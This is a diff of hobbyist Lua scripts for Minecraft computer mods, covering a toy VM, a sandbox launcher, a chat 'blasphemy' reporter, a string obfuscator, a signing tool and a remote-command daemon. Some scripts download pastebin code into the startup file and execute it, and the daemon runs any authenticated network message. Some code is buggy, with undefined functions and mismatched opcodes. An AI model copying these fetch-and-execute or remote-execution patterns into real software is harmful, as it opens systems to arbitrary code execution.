MUL - 09 [register 1][register 2] [16-bit constant] - save (ri2 * constant) to ri1
DIV - 10 [register 1][register 2] [16-bit constant] - save (ri2 / constant) to ri1
MOD - 11 [register 1][register 2] [16-bit constant] - save (ri2 % constant) to ri1
SYSC - 12 something whatever TODO
TODO: bitops, syscalls
Integers are always unsigned because negative numbers are hard.
]]
local band = bit.band
local brshift = bit.brshift
local function hi_nybble(x) return brshift(x, 4) end
local function lo_nybble(x) return band(x, 0xF) end
local function u16from(hi, lo) return hi * 0x100 + lo end
local function truncate(x) return band(0xFFFF, x) end
local function u16_add(x, y) return truncate(x + y) end
local function u16_sub(x, y) return truncate(x - y) end
local function u16_div(x, y) return truncate(x / y) end
local function u16_mod(x, y) return truncate(x % y) end
local function u16to(x) return brshift(x, 8), band(x, 0xFF) end
local function step(state)
local function get_reg(ix)
if ix == 0 then return 0
else return state.registers[ix + 1] end
end
local function set_reg(ix, x) if ix ~= 0 then state.registers[ix + 1] = x end end
local function get_mem(pos)
return u16from(state.memory[pos + 1], state.memory[pos + 2])
end
local function set_mem(pos, x)
local b1, b2 = u16to(x)
state.memory[pos + 1] = b1
state.memory[pos + 2] = b2
end
local bpos = state.registers[16]
-- read four bytes from program counter location onward
local b1, b2, b3, b4 = unpack(state.memory, bpos + 1, bpos + 5)
-- increment program counter
state.registers[16] = bpos + 4
if state.registers[16] > #state.memory then
return false
end
-- HALT
if b1 == 0x00 then
return false
-- NOP
elseif b1 == 0x01 then
-- do nothing whatsoever
-- still doing nothing
-- PEEK
elseif b1 == 0x02 then
-- calculate address - sum constant + provided register value
local addr = u16_add(u16from(b3, b4), get_reg(lo_nybble(b2)))
set_reg(hi_nybble(b2), get_mem(addr))
-- POKE
elseif b1 == 0x03 then
local addr = u16_add(u16from(b3, b4), get_reg(lo_nybble(b2)))
set_mem(addr, get_reg(hi_nybble(b2)))
-- ADD
elseif b1 == 0x04 then
set_reg(hi_nybble(b2), u16_add(u16from(b3, b4), get_reg(lo_nybble(b2))))
-- JEQ
elseif b1 == 0x05 then
if get_reg(hi_nybble(b2)) == get_reg(lo_nybble(b2)) then
state.registers[16] = u16from(b3, b4)
end
-- JNE - maybe somehow factor out the logic here, as it's very close to JEQ
elseif b1 == 0x06 then
if get_reg(hi_nybble(b2)) ~= get_reg(lo_nybble(b2)) then
state.registers[16] = u16from(b3, b4)
end
-- JLT - see JNE
elseif b1 == 0x07 then
if get_reg(hi_nybble(b2)) < get_reg(lo_nybble(b2)) then
state.registers[16] = u16from(b3, b4)
end
-- SUB
elseif b1 == 0x08 then
set_reg(hi_nybble(b2), u16_sub(get_reg(lo_nybble(b2)), u16from(b3, b4)))
-- MUL
elseif b1 == 0x09 then
set_reg(hi_nybble(b2), u16_mul(u16from(b3, b4), get_reg(lo_nybble(b2))))
-- DIV
elseif b1 == 0x10 then
set_reg(hi_nybble(b2), u16_div(get_reg(lo_nybble(b2)), u16from(b3, b4)))
-- MOD
elseif b1 == 0x11 then
set_reg(hi_nybble(b2), u16_mod(get_reg(lo_nybble(b2)), u16from(b3, b4)))
-- TEST
elseif b1 == 0xFF then
for i, v in ipairs(state.registers) do
print(("r%x: %04x"):format(i - 1, v))
end
else
error(("illegal opcode %02x at %04x"):format(b1, state.registers[16]))
end
return true
end
local function unhexize(s)
local s = s:gsub("[^0-9A-Fa-f]", "")
local out = {}
for i = 1, #s, 2 do
local pair = s:sub(i, i + 1)
table.insert(out, string.char(tonumber(pair, 16)))
end
return table.concat(out)
end
local state = init(unhexize [[04 b0 00 08
04 10 01 ff
04 e0 ff 02
03 e0 a0 00
04 de 03 01
02 c0 a0 00
02 dd a0 00
ff 00 00 00
04 44 00 01
03 40 20 01
04 aa 00 01
07 ab 00 00]])
while step(state) do end

View File

@ -0,0 +1,84 @@
if os.getComputerLabel() == nil then os.setComputerLabel(("Sandbox-%d"):format(os.getComputerID())) end
local function update()
local h = http.get "https://pastebin.com/raw/SJHZqiGY"
local f = fs.open("startup", "w")
f.write(h.readAll())
h.close()
f.close()
end
local function run()
term.setPaletteColor(colors.white, 0xffffff)
term.setPaletteColor(colors.black, 0x000000)
term.clear()
term.setCursorPos(1, 1)
local h = http.get "https://pastebin.com/raw/Frv3xkB9"
local fn, err = load(h.readAll(), "@yafss")
h.close()
if not fn then error(err) end
local yafss = fn()
local startup_message = [[Welcome to this GTech-sponsored computer.
This shell is running in a sandbox. Any changes you make outside of "/persistent" will NOT be saved.
Please save any important data or work elsewhere.]]
local FS_overlay = {
["startup"] = ([[
print(%q)
shell.setPath(shell.path() .. ":/persistent")
]]):format(startup_message),
["/rom/programs/update.lua"] = [[os.update()
print "Updated sandbox"
os.full_reboot()]]
}
local running = true
local function reinit_sandbox() running = false end
local API_overrides = {
["~expect"] = _G["~expect"],
os = {
shutdown = reinit_sandbox,
reboot = reinit_sandbox,
setComputerLabel = function() error "Nope." end,
update = update,
full_reboot = os.reboot
}
}
if not fs.exists "boxdata" then fs.makeDir "boxdata" end
if not fs.exists "boxdata/persistent" then fs.makeDir "boxdata/persistent" end
for _, file in pairs(fs.list "boxdata") do
if file ~= "persistent" then fs.delete(fs.combine("boxdata", file)) end
end
parallel.waitForAny(function()
yafss("boxdata", FS_overlay, API_overrides, { URL = "https://pastebin.com/raw/hvy03JuM" })
end,
function()
while running do coroutine.yield() end
end)
end
local ok, err = pcall(update)
if not ok then printError("Update error: " .. err) end
local function full_screen_message(msg)
term.setBackgroundColor(colors.black)
term.setTextColor(colors.white)
term.clear()
term.setCursorPos(1, 1)
print(msg)
end
while true do
local ok, err = pcall(run)
if not ok then
full_screen_message("Sandbox crashed. Press any key to restart. Error: \n" .. err)
else
full_screen_message "Sandbox exited. Press any key to restart."
end
coroutine.yield "key"
end

View File

@ -0,0 +1,73 @@
if not process.info "chatd" and _G.switchcraft then
process.spawn(chatbox.run, "chatd")
end
local server = settings.get "server"
if _G.switchcraft then server = "switchcraft" end
local chatbox = _G.chatbox or peripheral.find "chat_box"
local data = persistence "pcm"
if not data.blasphemy_counts then data.blasphemy_counts = {} end
local potatOS_supporters = {
gollark = true,
["6_4"] = true
}
local clause_separators = {".", ",", '"', "'", "`", "and", "!", "?", ":", ";", "-"}
local negative_words_list = "abysmal awful appalling atrocious bad boring belligerent banal broken callous crazy cruel corrosive corrupt criminal contradictory confused damaging dismal dreadful deprived deplorable dishonest disease detrimental dishonorable dreary evil enrage fail foul faulty filthy frightful fight gross ghastly grim guilty grotesque grimace haggard harmful horrendous hostile hate horrible hideous icky immature infernal insane inane insidious insipid inelegant junk lousy malicious malware messy monstrous menacing missing nasty negative nonsense naughty odious offensive oppressive objectionable petty poor poisonous questionable reject reptilian rotten repugnant repulsive ruthless scary shocking sad sickening stupid spiteful stormy smelly suspicious shoddy sinister substandard severe stuck threatening terrifying tense ugly unwanted unsatisfactory unwieldy unsightly unwelcome unfair unhealthy unpleasant untoward vile villainous vindictive vicious wicked worthless insecure bug virus sucks dodecahedr worse" .. " sh" .. "it " .. "cr" .. "ap"
local negative_words = negative_words_list / " "
local ignore_if_present_words = "greenhouse not garden these support bounty debug antivirus n't" / " "
function _G.is_blasphemous(message)
local clauses = {message:lower()}
for _, sep in pairs(clause_separators) do
local out = {}
for _, x in pairs(clauses) do
for _, y in pairs(string.split(x, sep)) do
table.insert(out, y)
end
end
clauses = out
end
for _, clause in pairs(clauses) do
for _, word in pairs(negative_words) do
if clause:match(word) and clause:match "potatos" then
for _, iword in pairs(ignore_if_present_words) do
if clause:match(iword) then return false, iword, clause end
end
return true, word, clause
end
end
end
return false
end
while true do
local ev, user, message, mdata = os.pullEvent()
if ev == "chat" or ev == "chat_discord" then
local blasphemous, word, clause = is_blasphemous(message)
if blasphemous then
if mdata then
mdata.renderedText = nil
end
data.blasphemy_counts[user] = (data.blasphemy_counts[user] or 0) + 1
data.save()
print("BLASPHEMY from", user, "-", message, word, clause)
potatOS.report_incident(("blasphemy from %s"):format(user), {"blasphemy"}, {
disable_host_data = true,
ID = os.getComputerID(),
extra_meta = {
message_data = mdata,
user = user,
message = message,
server = server,
blasphemy_count = data.blasphemy_counts[user]
}
})
end
elseif ev == "command" and message == "blasphemy_count" then
print(user, "requested count")
chatbox.tell(user, ("Blasphemy count: %d"):format(data.blasphemy_counts[user] or 0), "PCM")
end
end

View File

@ -0,0 +1,122 @@
local xoshiro128, xoshiro128genstate
do
-- http://prng.di.unimi.it/xoshiro128plusplus.c port
local function normalize(x)
return x % 0x80000000
end
local rotl = bit32.lrotate
local bxor = bit.bxor
local lshift = bit32.lshift
local function statexor(s, i1, i2)
s[i1] = bxor(s[i1], s[i2])
end
xoshiro128 = function(state)
local result = normalize(rotl(state[1] + state[4], 7) + state[1])
local t = lshift(state[2], 9)
statexor(state, 3, 1)
statexor(state, 4, 2)
statexor(state, 2, 3)
statexor(state, 1, 4)
state[3] = bxor(state[3], t)
state[4] = rotl(state[4], 11)
return result
end
xoshiro128genstate = function()
local s = {normalize(os.epoch "utc"), math.random(0x7FFFFFFF), os.getComputerID(), math.random(0x7FFFFFFF)}
xoshiro128(s)
return s
end
end
local oetemplate = [[local bitbxor, stringchar, tableconcat, tableinsert, bitband, LO, lrotate, lshift = bit.bxor, string.char, table.concat, table.insert, bit.band, 0x0F, bit32.lrotate, bit.blshift
local function statexor(s, i1, i2)
s[i1] = bitbxor(s[i1], s[i2])
end
local function rand(s)
local result = (lrotate(s[1] + s[4], 7) + s[1]) % 0x80000000
local t = lshift(s[2], 9)
statexor(s, 3, 1)
statexor(s, 4, 2)
statexor(s, 2, 3)
statexor(s, 1, 4)
s[3] = bitbxor(s[3], t)
s[4] = lrotate(s[4], 11)
return result
end
local function a(x)
local b = {}
for i = 1, #x, 2 do
local h = bitband(x:byte(i) - 33, LO)
local l = bitband(x:byte(i + 1) - 81, LO)
local s = (h * 0x10) + l
tableinsert(b, stringchar(bitbxor(rand(k) % 256, s)))
end
return tableconcat(b)
end]]
local miniobftemplate = [[local k=%s;local a,b,c,d,e,f,g,A=bit.bxor,string.char,table.concat,table.insert,bit.band,0x0F,bit32.lrotate,bit.blshift;local function h(i,j,m)i[j]=a(i[j],i[m])end;local function n(i)local o=(g(i[1]+i[4],7)+i[1])%%0x80000000;local p=A(i[2],9)h(i,3,1)h(i,4,2)h(i,2,3)h(i,1,4)i[3]=a(i[3],p)i[4]=g(i[4],11)return o end;local function q(r)local s={}for t=1,#r,2 do local u=e(r:byte(t)-33,f)local l=e(r:byte(t+1)-81,f)local i=u*0x10+l;d(s,b(a(n(k)%%256,i)))end;return c(s)end]]
local function obfstrt(x)
local state = xoshiro128genstate()
local function encode(d)
local out = {}
for i = 1, #d do
local byte = bit.bxor(xoshiro128(state) % 256, d:byte(i))
local hi = bit.brshift(byte, 4) + bit.blshift(bit.band(0x02, byte), 3)
local lo = bit.band(0x0F, byte) + bit.band(0x10, byte)
table.insert(out, string.char(hi + 33))
table.insert(out, string.char(lo + 81))
end
return table.concat(out)
end
return miniobftemplate:format(textutils.serialise(state)) .. "\n" .. x:gsub(
"{{([^}]+)}}",
function(q) return ("(q%q)"):format(encode(q)) end
)
end
local function bydump(code)
return string.dump(load(code, ""))
end
local b='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
local sgsub, sbyte, ssub, schar, sfind = string.gsub, string.byte, string.sub, string.char, string.find
-- encoding
local function b64enc(data)
return ((sgsub(data, '.', function(x)
local r,b='',sbyte(x)
for i=8,1,-1 do r=r..(b%2^i-b%2^(i-1)>0 and '1' or '0') end
return r;
end)..'0000'):gsub('%d%d%d?%d?%d?%d?', function(x)
if (#x < 6) then return '' end
local c=0
for i=1,6 do c=c+(ssub(x,i,i)=='1' and 2^(6-i) or 0) end
return ssub(b, c+1,c+1)
end)..({ '', '==', '=' })[#data%3+1])
end
local b64code = [[local a='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'local b,c,d,e,f=string.gsub,string.byte,string.sub,string.char,string.find;local function b64dec(g)g=b(g,'[^'..a..'=]','')return b(g,'.',function(h)if h=='='then return''end;local i,j='',f(a,h)-1;for k=6,1,-1 do i=i..(j%2^k-j%2^(k-1)>0 and'1'or'0')end;return i end):gsub('%d%d%d?%d?%d?%d?%d?%d?',function(h)if#h~=8 then return''end;local l=0;for k=1,8 do l=l+(d(h,k,k)=='1'and 2^(8-k)or 0)end;return e(l)end)end]]
local maincode = [[load(potatOS.decompress(b64dec(%q)), "@a", "b")]]
local function bycomp(code)
local dumped = bydump(code)
local comp = potatOS.compress(dumped)
return b64code .. "\n" .. maincode:format(b64enc(comp))
end
return {
obfstrt = obfstrt,
bydump = bydump,
nulzcod = nulzcod,
bycomp = bycomp
}

View File

@ -0,0 +1,103 @@
pcall(function() os.loadAPI "bigfont" end)
local OSes = {
"PotatOS",
"ShutdownOS",
"YomatOS",
"TomatOS",
"ChorOS",
"BurritOS",
"GovOS",
}
local function random_pick(list)
return list[math.random(1, #list)]
end
local function random_color()
return math.pow(2, math.random(0, 15))
end
local function HSL(hue, saturation, lightness)
if hue < 0 or hue > 360 then
return 0x000000
end
if saturation < 0 or saturation > 1 then
return 0x000000
end
if lightness < 0 or lightness > 1 then
return 0x000000
end
local chroma = (1 - math.abs(2 * lightness - 1)) * saturation
local h = hue/60
local x =(1 - math.abs(h % 2 - 1)) * chroma
local r, g, b = 0, 0, 0
if h < 1 then
r,g,b=chroma,x,0
elseif h < 2 then
r,b,g=x,chroma,0
elseif h < 3 then
r,g,b=0,chroma,x
elseif h < 4 then
r,g,b=0,x,chroma
elseif h < 5 then
r,g,b=x,0,chroma
else
r,g,b=chroma,0,x
end
local m = lightness - chroma/2
return (r+m) * 16777216 + (g+m) * 65535 + (b+m) * 256
end
local default_palette = { 0x000000, 0x7F664C, 0x57A64E, 0xF2B233, 0x3366CC, 0xB266E5, 0x4C99B2, 0x999999, 0x4C4C4C, 0xCC4C4C, 0x7FCC19, 0xDEDE6C, 0x99B2F2, 0xE57FD8, 0xF2B2CC, 0xFFFFFF }
local palette = { 0x000000 }
for i = 0, 13 do
table.insert(palette, HSL((i / 13) * 360, 1.0, 0.4))
end
table.insert(palette, 0xFFFFFF)
local function init_screen(t)
t.setTextScale(4)
t.setBackgroundColor(colors.black)
-- t.setCursorPos(1, 1)
-- t.clear()
for i, c in pairs(default_palette) do
t.setPaletteColor(math.pow(2, 16 - i), c)
end
end
local function write_screen_slow(term, text, delay)
local w, h = term.getSize()
term.setCursorBlink(true)
for i = 1, #text do
local char = text:sub(i, i)
local x, y = term.getCursorPos()
term.write(char)
if x == w then
term.scroll(1)
term.setCursorPos(1, h)
end
sleep(delay)
end
term.setCursorBlink(false)
end
local monitors = {peripheral.find("monitor", function(_, m) init_screen(m) return true end)}
local function unpotatoplexer()
while true do
local t = random_pick(monitors)
t.setTextColor(random_color())
if math.random(0, 1000) == 40 then
if bigfont then bigfont.writeOn(t, 1, "hello", 2, 2) end
else
write_screen_slow(t, random_pick(OSes) .. " ", 0.05)
end
end
end
local threads = {}
for i = 1, 5 do
table.insert(threads, unpotatoplexer)
end
parallel.waitForAll(unpack(threads))

56
computercraft/pxsign.lua Normal file
View File

@ -0,0 +1,56 @@
local privkey_path = ".potatos_dsk"
if not fs.exists(privkey_path) then
error("Please save the potatOS disk signing key (ECC signing key) to " .. privkey_path .. " to use this program.")
end
local ecc = require "./ecc" "ecc"
local input, output, UUID_override = ...
local function fread(thing)
local f = fs.open(thing, "r")
local text = f.readAll()
f.close()
return text
end
local function hexize(key)
local out = ""
for _, v in pairs(key) do
out = out .. string.format("%.2x", v)
end
return out
end
local function unhexize(key)
local out = {}
for i = 1, #key, 2 do
local pair = key:sub(i, i + 1)
table.insert(out, tonumber(pair, 16))
end
return out
end
local function fwrite(fname, text)
local f = fs.open(fname, "w")
f.write(text)
f.close()
end
local pkey = unhexize(fread(privkey_path))
local UUID = ""
if UUID_override then UUID = UUID_override
else
for i = 1, 10 do
UUID = UUID .. string.char(math.random(97, 122))
end
end
print("UUID:", UUID)
local text = fread(input):gsub("@UUID@", UUID)
local signature = hexize(ecc.sign(pkey, text))
local fullcode = ([[---PXSIG:%s
---PXUUID:%s
%s]]):format(signature, UUID, text)
fwrite(output, fullcode)

View File

@ -0,0 +1,182 @@
local string, assert = string, assert
-- Initialize table of round constants
-- (first 32 bits of the fractional parts of the cube roots of the first
-- 64 primes 2..311):
local k = {
0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5,
0x3956c25b, 0x59f111f1, 0x923f82a4, 0xab1c5ed5,
0xd807aa98, 0x12835b01, 0x243185be, 0x550c7dc3,
0x72be5d74, 0x80deb1fe, 0x9bdc06a7, 0xc19bf174,
0xe49b69c1, 0xefbe4786, 0x0fc19dc6, 0x240ca1cc,
0x2de92c6f, 0x4a7484aa, 0x5cb0a9dc, 0x76f988da,
0x983e5152, 0xa831c66d, 0xb00327c8, 0xbf597fc7,
0xc6e00bf3, 0xd5a79147, 0x06ca6351, 0x14292967,
0x27b70a85, 0x2e1b2138, 0x4d2c6dfc, 0x53380d13,
0x650a7354, 0x766a0abb, 0x81c2c92e, 0x92722c85,
0xa2bfe8a1, 0xa81a664b, 0xc24b8b70, 0xc76c51a3,
0xd192e819, 0xd6990624, 0xf40e3585, 0x106aa070,
0x19a4c116, 0x1e376c08, 0x2748774c, 0x34b0bcb5,
0x391c0cb3, 0x4ed8aa4a, 0x5b9cca4f, 0x682e6ff3,
0x748f82ee, 0x78a5636f, 0x84c87814, 0x8cc70208,
0x90befffa, 0xa4506ceb, 0xbef9a3f7, 0xc67178f2
}
local function rrotate (x, n)
return ((x >> n) | (x << (32 - n))) -- (1)
end
-- transform a string of bytes in a string of hexadecimal digits
local function str2hexa (s)
local h = string.gsub(s, ".", function(c)
return string.format("%02x", string.byte(c))
end)
return h
end
local function num2s(n, l)
return ("\0"):rep(l - 4) .. string.char((n >> 24) & 0xFF) .. string.char((n >> 16) & 0xFF) .. string.char((n >> 8) & 0xFF) .. string.char(n & 0xFF)
end
local function preproc (msg, len)
local extra = 64 - ((len + 1 + 8) % 64)
len = num2s(8 * len, 8) -- original len in bits, coded
msg = msg .. "\128" .. string.rep("\0", extra) .. len
assert(#msg % 64 == 0)
return msg
end
local function undumpint(str, spos)
return (str:byte(spos) << 24) + (str:byte(spos + 1) << 16) + (str:byte(spos + 2) << 8) + str:byte(spos + 3)
end
local function digestblock (msg, i, H)
-- break chunk into sixteen 32-bit big-endian words w[1..16]
local w = {}
for j = 1, 16 do
w[j] = undumpint(msg, i) & 0xffffffff
i = i + 4 -- index for next block
end
-- Extend the sixteen 32-bit words into sixty-four 32-bit words:
for j = 17, 64 do
local v = w[j - 15]
local s0 = rrotate(v, 7) ~ rrotate(v, 18) ~ (v >> 3) -- (1)
v = w[j - 2]
local s1 = rrotate(v, 17) ~ rrotate(v, 19) ~ (v >> 10) -- (1)
w[j] = (w[j - 16] + s0 + w[j - 7] + s1) & 0xffffffff -- (2)
end
-- Initialize hash value for this chunk:
local a, b, c, d, e, f, g, h = H[1], H[2], H[3], H[4], H[5], H[6], H[7], H[8]
-- Main loop:
for i = 1, 64 do
local s0 = rrotate(a, 2) ~ rrotate(a, 13) ~ rrotate(a, 22) -- (1)
local maj = (a & b) ~ (a & c) ~ (b & c)
local t2 = s0 + maj -- (1)
local s1 = rrotate(e, 6) ~ rrotate(e, 11) ~ rrotate(e, 25) -- (1)
local ch = (e & f) ~ (~e & g)
local t1 = h + s1 + ch + k[i] + w[i] -- (1)
h = g
g = f
f = e
e = (d + t1) & 0xffffffff -- (2)
d = c
c = b
b = a
a = (t1 + t2) & 0xffffffff -- (2)
end
-- Add (mod 2^32) this chunk's hash to result so far:
H[1] = (H[1] + a) & 0xffffffff
H[2] = (H[2] + b) & 0xffffffff
H[3] = (H[3] + c) & 0xffffffff
H[4] = (H[4] + d) & 0xffffffff
H[5] = (H[5] + e) & 0xffffffff
H[6] = (H[6] + f) & 0xffffffff
H[7] = (H[7] + g) & 0xffffffff
H[8] = (H[8] + h) & 0xffffffff
end
local function hash256 (msg)
msg = preproc(msg, #msg)
local H = {0x6a09e667, 0xbb67ae85, 0x3c6ef372, 0xa54ff53a, 0x510e527f, 0x9b05688c, 0x1f83d9ab, 0x5be0cd19 }
for i = 1, #msg, 64 do
digestblock(msg, i, H)
end
return str2hexa(num2s(H[1], 4)..num2s(H[2], 4)..num2s(H[3], 4)..num2s(H[4], 4)..num2s(H[5], 4)..num2s(H[6], 4)..num2s(H[7], 4)..num2s(H[8], 4))
end
local function compact_serialize(x)
local t = type(x)
if t == "number" then
return tostring(x)
elseif t == "string" then
return ("%q"):format(x)
elseif t == "table" then
local out = "{ "
for k, v in pairs(x) do
out = out .. string.format("[%s]=%s, ", compact_serialize(k), compact_serialize(v))
end
return out .. "}"
else return tostring(x) end
end
if require then
component = require "component"
computer = require "computer"
end
computer.beep(400)
--local net = component.proxy(component.list "internet"())
local modem_id = component.list "modem"()
local eeprom = component.proxy(component.list "eeprom"())
local psk = eeprom.getData()
if #psk < 16 then
while true do computer.beep(2000) end
end
local modem = component.proxy(modem_id)
modem.open(46110) -- command channel
local used_nonces = {}
local function is_new(received_nonce)
for _, nonce in pairs(used_nonces) do
if nonce == received_nonce then return false end
end
return true
end
while true do
local event, to, from, port, distance, message, signature, target, nonce = computer.pullSignal()
print("M", message, "S", signature, "T", target, "N", nonce)
if event == "modem_message" and port == 46110 and type(message) == "string" and type(signature) == "string" and type(target) == "string" and type(nonce) == "string" and is_new(nonce) then
local sig_val = message .. psk .. target .. nonce
print(target, sig_val, "HASH=", hash256(sig_val), signature)
if hash256(sig_val) == signature then
if target == "" or modem_id:match(target) then
table.insert(used_nonces, nonce)
if #used_nonces > 128 then
table.remove(used_nonces, 1)
end
local f, e = load(message, "@<remote>")
if f then
f, e = pcall(f)
end
local response = compact_serialize { f, e }
modem.broadcast(46111, response, hash256(response .. psk .. tostring(modem_id) .. nonce), modem_id, nonce)
end
else
computer.beep(200)
end
end
end

View File

@ -0,0 +1,38 @@
local modem = peripheral.find("modem", function(_, o)
return o.maxPacketSize ~= nil
end)
local sha256 = require "/sha256"
local psk = settings.get "psk"
local function tohex(t)
local out = {}
for _, val in pairs(t) do
table.insert(out, ("%02x"):format(val))
end
return table.concat(out)
end
modem.open(46111)
while true do
local input = read()
local target = ""
local nonce = {}
for i = 1, 16 do
table.insert(nonce, math.random(0, 255))
end
nonce = tohex(nonce)
modem.transmit(46110, 46110, input, tohex(sha256.digest(input .. psk .. target .. nonce)), target, nonce)
local ev = {os.pullEvent "modem_message"}
if #ev == 8 then
local response, signature, device, nonce = ev[5], ev[6], ev[7], ev[8]
if tohex(sha256.digest(response .. psk .. device .. nonce)) == signature then
local ok, err = unpack(textutils.unserialise(response))
if ok then
print(err)
else
printError(err)
end
print(device)
end
end
end

Some files were not shown because too many files have changed in this diff Show More